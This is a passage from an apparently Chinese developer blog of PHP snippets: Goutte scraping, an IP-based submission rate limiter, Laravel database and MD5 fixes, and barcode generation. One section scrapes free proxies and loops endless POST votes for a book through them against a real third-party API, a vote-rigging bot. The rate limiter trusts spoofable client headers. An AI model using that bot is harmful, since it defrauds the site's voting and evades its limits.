$client-&gt;click($crawler-&gt;selectLink(<span class="string">'Sign in'</span>)-&gt;link());</span><br><span class="line">$form = $crawler-&gt;selectButton(<span class="string">'Sign in'</span>)-&gt;form();</span><br><span class="line">$crawler = $client-&gt;submit($form, array(<span class="string">'login'</span> =&gt; <span class="string">'fabpot'</span>, <span class="string">'password'</span> =&gt; <span class="string">'xxxxxx'</span>));</span><br><span class="line">$crawler-&gt;filter(<span class="string">'.flash-error'</span>)-&gt;each(<span class="function"><span class="keyword">function</span> (<span class="params">$node</span>) </span>&#123;</span><br><span class="line">    print $node-&gt;text().<span class="string">"\n"</span>;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>
<h3 id="防恶意频繁提交"><a href="#防恶意频繁提交" class="headerlink" title="防恶意频繁提交"></a>防恶意频繁提交</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 获取和校验ip；同时防止短时间内多次提交</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * @notice        ：弹出验证码，需要替换掉echo $echo_str 即可。</span></span><br><span class="line"><span class="comment"> * @return string ：返回校验成功的ip</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line">protected <span class="function"><span class="keyword">function</span> <span class="title">getAndCheckIP</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取环境ip</span></span><br><span class="line">    <span class="keyword">if</span> (getenv(<span class="string">"HTTP_CLIENT_IP"</span>) &amp;&amp; strcasecmp(getenv(<span class="string">"HTTP_CLIENT_IP"</span>), <span class="string">"unknown"</span>))</span><br><span class="line">        $ip = getenv(<span class="string">"HTTP_CLIENT_IP"</span>);</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (getenv(<span class="string">"HTTP_X_FORWARDED_FOR"</span>) &amp;&amp; strcasecmp(getenv(<span class="string">"HTTP_X_FORWARDED_FOR"</span>), <span class="string">"unknown"</span>))</span><br><span class="line">        $ip = getenv(<span class="string">"HTTP_X_FORWARDED_FOR"</span>);</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (getenv(<span class="string">"REMOTE_ADDR"</span>) &amp;&amp; strcasecmp(getenv(<span class="string">"REMOTE_ADDR"</span>), <span class="string">"unknown"</span>))</span><br><span class="line">        $ip = getenv(<span class="string">"REMOTE_ADDR"</span>);</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (isset($_SERVER[<span class="string">'REMOTE_ADDR'</span>]) &amp;&amp; $_SERVER[<span class="string">'REMOTE_ADDR'</span>] &amp;&amp; strcasecmp($_SERVER[<span class="string">'REMOTE_ADDR'</span>], <span class="string">"unknown"</span>))</span><br><span class="line">        $ip = $_SERVER[<span class="string">'REMOTE_ADDR'</span>];</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        $ip = <span class="string">"unknown"</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// check 环境ip</span></span><br><span class="line">    <span class="keyword">if</span> (!$<span class="keyword">this</span>-&gt;isWhiteList($ip)) &#123;</span><br><span class="line">        $echo_str = <span class="string">"提交过于频繁,请稍后再试！"</span>;</span><br><span class="line">        <span class="comment">// 构建ip的时间栈数据</span></span><br><span class="line">        <span class="keyword">if</span> (!is_array($_SESSION[$ip])) &#123;</span><br><span class="line">            $_SESSION[$ip] = array();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (isset($_SESSION[$ip][<span class="number">0</span>])) &#123;</span><br><span class="line">            $_SESSION[$ip][] = time();</span><br><span class="line"></span><br><span class="line">            <span class="comment">// session 保存时间为6小时。清理session</span></span><br><span class="line">            $post_interval_first = time() - $_SESSION[$ip][<span class="number">0</span>];</span><br><span class="line">            <span class="keyword">if</span> ($post_interval_first &gt; <span class="number">21600</span>) &#123;</span><br><span class="line">                $_SESSION[$ip] = array();</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 两次提交小于1s，禁止提交</span></span><br><span class="line">            $post_interval_pre = time() - $_SESSION[$ip][count($_SESSION[$ip]) - <span class="number">3</span>];</span><br><span class="line">            <span class="keyword">if</span> ($post_interval_pre &lt; <span class="number">1</span>) &#123;</span><br><span class="line">                echo $echo_str;</span><br><span class="line">                exit;</span><br><span class="line">            &#125;;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 您在10s内已经提交了3请求，禁止提交</span></span><br><span class="line">            $post_interval_third = time() - $_SESSION[$ip][count($_SESSION[$ip]) - <span class="number">3</span>];</span><br><span class="line">            <span class="keyword">if</span> (isset($_SESSION[$ip][<span class="number">3</span>]) &amp;&amp; ($post_interval_third &lt; <span class="number">10</span>)) &#123;</span><br><span class="line">                echo $echo_str;</span><br><span class="line">                exit;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 您在1分钟期间已经提交了5请求，禁止提交</span></span><br><span class="line">            $post_interval_fifth = time() - $_SESSION[$ip][count($_SESSION[$ip]) - <span class="number">3</span>];</span><br><span class="line">            <span class="keyword">if</span> (isset($_SESSION[$ip][<span class="number">5</span>]) &amp;&amp; ($post_interval_fifth &lt; <span class="number">60</span>)) &#123;</span><br><span class="line">                echo $echo_str;</span><br><span class="line">                exit;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 6小时内提交10次，禁止提交</span></span><br><span class="line">            <span class="keyword">if</span> (isset($_SESSION[$ip][<span class="number">10</span>])) &#123;</span><br><span class="line">                echo $echo_str;</span><br><span class="line">                exit;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            $_SESSION[$ip][] = time();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> ($ip);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 检验是否存在于白名单中</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * @param $ip    ：校验的ip</span></span><br><span class="line"><span class="comment"> * @return bool  ：校验结果</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">isWhiteList</span>(<span class="params">$ip</span>)</span>&#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 内网ip默认全部存在于白名单中</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">if</span>(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 是否在写死的whitelist 里面</span></span><br><span class="line">    <span class="keyword">return</span> in_array($ip,$<span class="keyword">this</span>-&gt;_WHTTE_LIST);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="Goutte爬取-IP-代理池"><a href="#Goutte爬取-IP-代理池" class="headerlink" title="Goutte爬取 IP 代理池"></a>Goutte爬取 IP 代理池</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getProxyIPPool</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    $client = <span class="keyword">new</span> Client();</span><br><span class="line">    $ipPoolUrl = <span class="string">'https://proxy.coderbusy.com/'</span>;</span><br><span class="line">    $crawler = $client-&gt;request(<span class="string">'GET'</span>, $ipPoolUrl);</span><br><span class="line">    $ipArr = $crawler-&gt;filter(<span class="string">'table'</span>)-&gt;filter(<span class="string">'tr'</span>)-&gt;each(<span class="function"><span class="keyword">function</span> (<span class="params">$tr, $i</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> $tr-&gt;filter(<span class="string">'td'</span>)-&gt;each(<span class="function"><span class="keyword">function</span> (<span class="params">$td, $i</span>) </span>&#123;</span><br><span class="line">            <span class="keyword">return</span> trim($td-&gt;text());</span><br><span class="line"></span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    $newArr = [];</span><br><span class="line">    foreach ($ipArr <span class="keyword">as</span> $key =&gt;$value)&#123;</span><br><span class="line">        <span class="keyword">if</span> ($key &gt;<span class="number">0</span>)&#123;</span><br><span class="line">            $newArr[$key<span class="number">-1</span>] = $value[<span class="number">0</span>].<span class="string">':'</span>.$value[<span class="number">1</span>];<span class="comment">//这里就是 table 的第一列和第二列</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">    $file = file_put_contents(<span class="string">'ipPool.json'</span>, json_encode($newArr));</span><br><span class="line"></span><br><span class="line">    echo <span class="string">"更新代理 IP 尺完毕"</span>;</span><br><span class="line">&#125;</span><br><span class="line">[</span><br><span class="line">    <span class="string">"13.59.33.106:3128"</span>,</span><br><span class="line">    <span class="string">"200.116.227.99:53281"</span>,</span><br><span class="line">    <span class="string">"190.232.168.242:8080"</span></span><br><span class="line">]</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">voteByIP</span> (<span class="params">$ip, $port</span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">    $post_data = array (<span class="string">"bookid"</span> =&gt; <span class="string">"102428"</span>);</span><br><span class="line">    $ch = curl_init(<span class="string">"http://jljapi.manhuadao.cn/Vote/vote"</span>);</span><br><span class="line">    curl_setopt($ch, CURLOPT_POST, <span class="number">1</span>);</span><br><span class="line">    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);</span><br><span class="line">    curl_setopt($ch, CURLOPT_RETURNTRANSFER,<span class="number">1</span>);</span><br><span class="line">    curl_setopt($ch,CURLOPT_PROXY,$ip);</span><br><span class="line">    curl_setopt($ch,CURLOPT_PROXYPORT,$port);</span><br><span class="line">    curl_setopt ($ch, CURLOPT_TIMEOUT, <span class="number">1200</span>);</span><br><span class="line"></span><br><span class="line">    $result = curl_exec($ch);</span><br><span class="line">   print_r($result.PHP_EOL);</span><br><span class="line">    curl_close($ch);</span><br><span class="line">&#125;</span><br><span class="line">$ipPoolArr = json_decode(file_get_contents(<span class="string">'ipPool.json'</span>));</span><br><span class="line"></span><br><span class="line">foreach ($ipPoolArr <span class="keyword">as</span> $key=&gt;$proxyStr)&#123;</span><br><span class="line">     $ip = $proxyArr[<span class="number">0</span>];</span><br><span class="line">    $port = $proxyArr[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">    voteByIP($ip, $port)</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span>((i=<span class="number">1</span>;i&lt;=<span class="number">99999999999999999999999999999999999999</span>;i++)); </span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">     php autoVote.php</span><br><span class="line"></span><br><span class="line">     <span class="comment">//还可以执行其他的操作，例如 php getIPPool.php 来更新代理 IP 池 https://qimajiang.com/2017/11/18/%E4%BD%BF%E7%94%A8%20Goutte%E7%88%AC%E5%8F%96%E4%BB%A3%E7%90%86%20IP%20%E6%B1%A0/</span></span><br><span class="line">done</span><br></pre></td></tr></table></figure>
<h3 id="微软小冰接口的颜值检测"><a href="#微软小冰接口的颜值检测" class="headerlink" title="微软小冰接口的颜值检测"></a>微软小冰接口的颜值检测</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">$face = <span class="keyword">new</span> \Hanson\Face\Foundation\Face();</span><br><span class="line"></span><br><span class="line">$result = $face-&gt;score-&gt;get(<span class="string">'https://ws2.sinaimg.cn/large/685b97a1gy1fehkmbi6hvj20u00u07ab.jpg'</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/**https://github.com/HanSon/face</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">[</span></span><br><span class="line"><span class="comment">    'score' =&gt; 6.8,</span></span><br><span class="line"><span class="comment">    'text' =&gt; '哥们颜值才6.8分，一下让整体颜值从7.3跌到7.1ORZ',</span></span><br><span class="line"><span class="comment">    'url' =&gt; 'http://mediaplatform.trafficmanager.cn/image/fetchimage?key='</span></span><br><span class="line"><span class="comment">];</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">**/</span></span><br></pre></td></tr></table></figure>
<h3 id="php-fpm-max-children-优化"><a href="#php-fpm-max-children-优化" class="headerlink" title="php-fpm max_children 优化"></a>php-fpm max_children 优化</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"> ps -ylef --sort:rss 此命令可以查看当前服务器所有的进程以及占用内存，留意 RSS 那列就是占用的内存数 http:<span class="comment">//hanc.cc/index.php/archives/179/</span></span><br><span class="line"> S UID        PID  PPID  C PRI  NI   RSS    SZ WCHAN  STIME TTY          TIME CMD</span><br><span class="line"> S root         <span class="number">2</span>     <span class="number">0</span>  <span class="number">0</span>  <span class="number">80</span>   <span class="number">0</span>     <span class="number">0</span>     <span class="number">0</span> kthrea May05 ?        <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span> [kthreadd]</span><br><span class="line">S finance  <span class="number">16670</span> <span class="number">16668</span>  <span class="number">0</span>  <span class="number">80</span>   <span class="number">0</span>  <span class="number">7424</span> <span class="number">91470</span> inet_c Jul16 ?        <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span> php-fpm: pool www</span><br><span class="line">S root     <span class="number">16668</span>     <span class="number">1</span>  <span class="number">0</span>  <span class="number">80</span>   <span class="number">0</span>  <span class="number">8184</span> <span class="number">91470</span> ep_pol Jul16 ?        <span class="number">00</span>:<span class="number">00</span>:<span class="number">04</span> php-fpm: master process (<span class="regexp">/data0/</span>opt/php55/etc/php-fpm.conf)</span><br><span class="line">S root     <span class="number">16677</span>     <span class="number">1</span>  <span class="number">0</span>  <span class="number">80</span>   <span class="number">0</span>  <span class="number">8932</span> <span class="number">98194</span> ep_pol Jul16 ?        <span class="number">00</span>:<span class="number">00</span>:<span class="number">09</span> php-fpm: master process (<span class="regexp">/data0/</span>opt/php7/etc/php-fpm.conf)</span><br><span class="line">S root     <span class="number">16714</span>     <span class="number">1</span>  <span class="number">0</span>  <span class="number">80</span>   <span class="number">0</span> <span class="number">11140</span> <span class="number">97479</span> ep_pol Jul16 ?        <span class="number">00</span>:<span class="number">00</span>:<span class="number">04</span> php-fpm: master process (<span class="regexp">/data0/</span>opt/php54/etc/php-fpm.conf)</span><br></pre></td></tr></table></figure>
<h3 id="使用多个同一数据库驱动"><a href="#使用多个同一数据库驱动" class="headerlink" title="使用多个同一数据库驱动"></a>使用多个同一数据库驱动</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">新项目需要连接两个mysql数据库，然而却出现无论如何也查询不了第二个数据库的情况。</span><br><span class="line"></span><br><span class="line">经历了多次断点调试，google无止境搜索，询问印度阿三无果的情况下，也只能查看源码解决问题了。</span><br><span class="line"></span><br><span class="line">最终发现在laravel的ConnectionFactory类的createConnection方法中有这么一段</span><br><span class="line"></span><br><span class="line">protected <span class="function"><span class="keyword">function</span> <span class="title">createConnection</span>(<span class="params">$driver, $connection, $database, $prefix = <span class="string">''</span>, array $config = []</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> ($<span class="keyword">this</span>-&gt;container-&gt;bound($key = <span class="string">"db.connection.&#123;$driver&#125;"</span>)) &#123;</span><br><span class="line">        <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;container-&gt;make($key, [$connection, $database, $prefix, $config]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">switch</span> ($driver) &#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">'mysql'</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> MySqlConnection($connection, $database, $prefix, $config);</span><br><span class="line">        <span class="keyword">case</span> <span class="string">'pgsql'</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> PostgresConnection($connection, $database, $prefix, $config);</span><br><span class="line">        <span class="keyword">case</span> <span class="string">'sqlite'</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> SQLiteConnection($connection, $database, $prefix, $config);</span><br><span class="line">        <span class="keyword">case</span> <span class="string">'sqlsrv'</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> SqlServerConnection($connection, $database, $prefix, $config);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> InvalidArgumentException(<span class="string">"Unsupported driver [$driver]"</span>);</span><br><span class="line">&#125;</span><br><span class="line">$<span class="keyword">this</span>-&gt;container-&gt;bound($key = <span class="string">"db.connection.&#123;$driver&#125;"</span>) 通过driver去跟容器做了绑定，也就是当你有第二个一样driver的数据库时，调用 $<span class="keyword">this</span>-&gt;container-&gt;make()方法也会同样返回第一个绑定的 connection，这样无论如何也只能查询第一个了。http:<span class="comment">//hanc.cc/index.php/archives/153/</span></span><br><span class="line"></span><br><span class="line">修改后</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($<span class="keyword">this</span>-&gt;container-&gt;bound($key = <span class="string">"db.connection.&#123;$driver&#125;.&#123;$config['name']&#125;"</span>)) &#123;</span><br><span class="line">    <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;container-&gt;make($key, [$connection, $database, $prefix, $config]);</span><br><span class="line">&#125;</span><br><span class="line">通过传入connection自定义的名称，能够避免重复</span><br></pre></td></tr></table></figure>
<h3 id="PHP的MD5加密与JAVA的MD5加密不一致"><a href="#PHP的MD5加密与JAVA的MD5加密不一致" class="headerlink" title="PHP的MD5加密与JAVA的MD5加密不一致"></a>PHP的MD5加密与JAVA的MD5加密不一致</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">android端正确的MD5加密代码</span><br><span class="line"></span><br><span class="line">public <span class="keyword">static</span> <span class="built_in">String</span> md5(byte[] source) &#123;</span><br><span class="line">    <span class="keyword">try</span>&#123;</span><br><span class="line">        MessageDigest md = MessageDigest.getInstance(<span class="string">"MD5"</span>);</span><br><span class="line">        md.update( source );</span><br><span class="line">        StringBuffer buf=<span class="keyword">new</span> StringBuffer();</span><br><span class="line">        <span class="keyword">for</span>(byte b:md.digest())</span><br><span class="line">            buf.append(<span class="built_in">String</span>.format(<span class="string">"%02x"</span>, b&amp;<span class="number">0xff</span>) );</span><br><span class="line">        <span class="keyword">return</span> buf.toString();</span><br><span class="line">    &#125;<span class="keyword">catch</span>( Exception e )&#123;</span><br><span class="line">        e.printStackTrace(); <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">从代码可以看出，这里传入的参数是byte[]，而不是<span class="built_in">String</span>，这里就需要事先对需要加密的字符串转成</span><br><span class="line"></span><br><span class="line">字节，便用到一个方法getBytes(Charset.forName(<span class="string">"UTF-8"</span>))http:<span class="comment">//hanc.cc/index.php/archives/14/</span></span><br></pre></td></tr></table></figure>
<h3 id="生成条形码"><a href="#生成条形码" class="headerlink" title="生成条形码"></a>生成条形码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br></pre></td><td class="code"><pre><span class="line">composer <span class="built_in">require</span> codeitnowin/barcode</span><br><span class="line">namespace App\Http\Controllers;</span><br><span class="line"></span><br><span class="line">use Illuminate\Http\Request;</span><br><span class="line"></span><br><span class="line">use CodeItNow\BarcodeBundle\Utils\BarcodeGenerator;</span><br><span class="line">use CodeItNow\BarcodeBundle\Utils\QrCode;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">BarCodeController</span> <span class="keyword">extends</span> <span class="title">Controller</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">index</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line"></span><br><span class="line">        echo <span class="string">'&lt;p&gt;Example - QrCode&lt;/p&gt;'</span>;</span><br><span class="line">        $qrCode = <span class="keyword">new</span> QrCode();</span><br><span class="line">        $qrCode</span><br><span class="line">            -&gt;setText(<span class="string">'https://www.php.net/manual/zh/'</span>)</span><br><span class="line">            -&gt;setSize(<span class="number">300</span>)</span><br><span class="line">            -&gt;setPadding(<span class="number">10</span>)</span><br><span class="line">            -&gt;setErrorCorrection(<span class="string">'high'</span>)</span><br><span class="line">            -&gt;setForegroundColor(array(<span class="string">'r'</span> =&gt; <span class="number">0</span>, <span class="string">'g'</span> =&gt; <span class="number">0</span>, <span class="string">'b'</span> =&gt; <span class="number">0</span>, <span class="string">'a'</span> =&gt; <span class="number">0</span>))</span><br><span class="line">            -&gt;setBackgroundColor(array(<span class="string">'r'</span> =&gt; <span class="number">255</span>, <span class="string">'g'</span> =&gt; <span class="number">255</span>, <span class="string">'b'</span> =&gt; <span class="number">255</span>, <span class="string">'a'</span> =&gt; <span class="number">0</span>))</span><br><span class="line">            -&gt;setLabel(<span class="string">'https://www.php.net/'</span>)</span><br><span class="line">            -&gt;setLabelFontSize(<span class="number">16</span>)</span><br><span class="line">            -&gt;setImageType(QrCode::IMAGE_TYPE_PNG);</span><br><span class="line">        echo <span class="string">'&lt;img src="data:'</span> . $qrCode-&gt;getContentType() . <span class="string">';base64,'</span> . $qrCode-&gt;generate() . <span class="string">'" /&gt;'</span>;</span><br><span 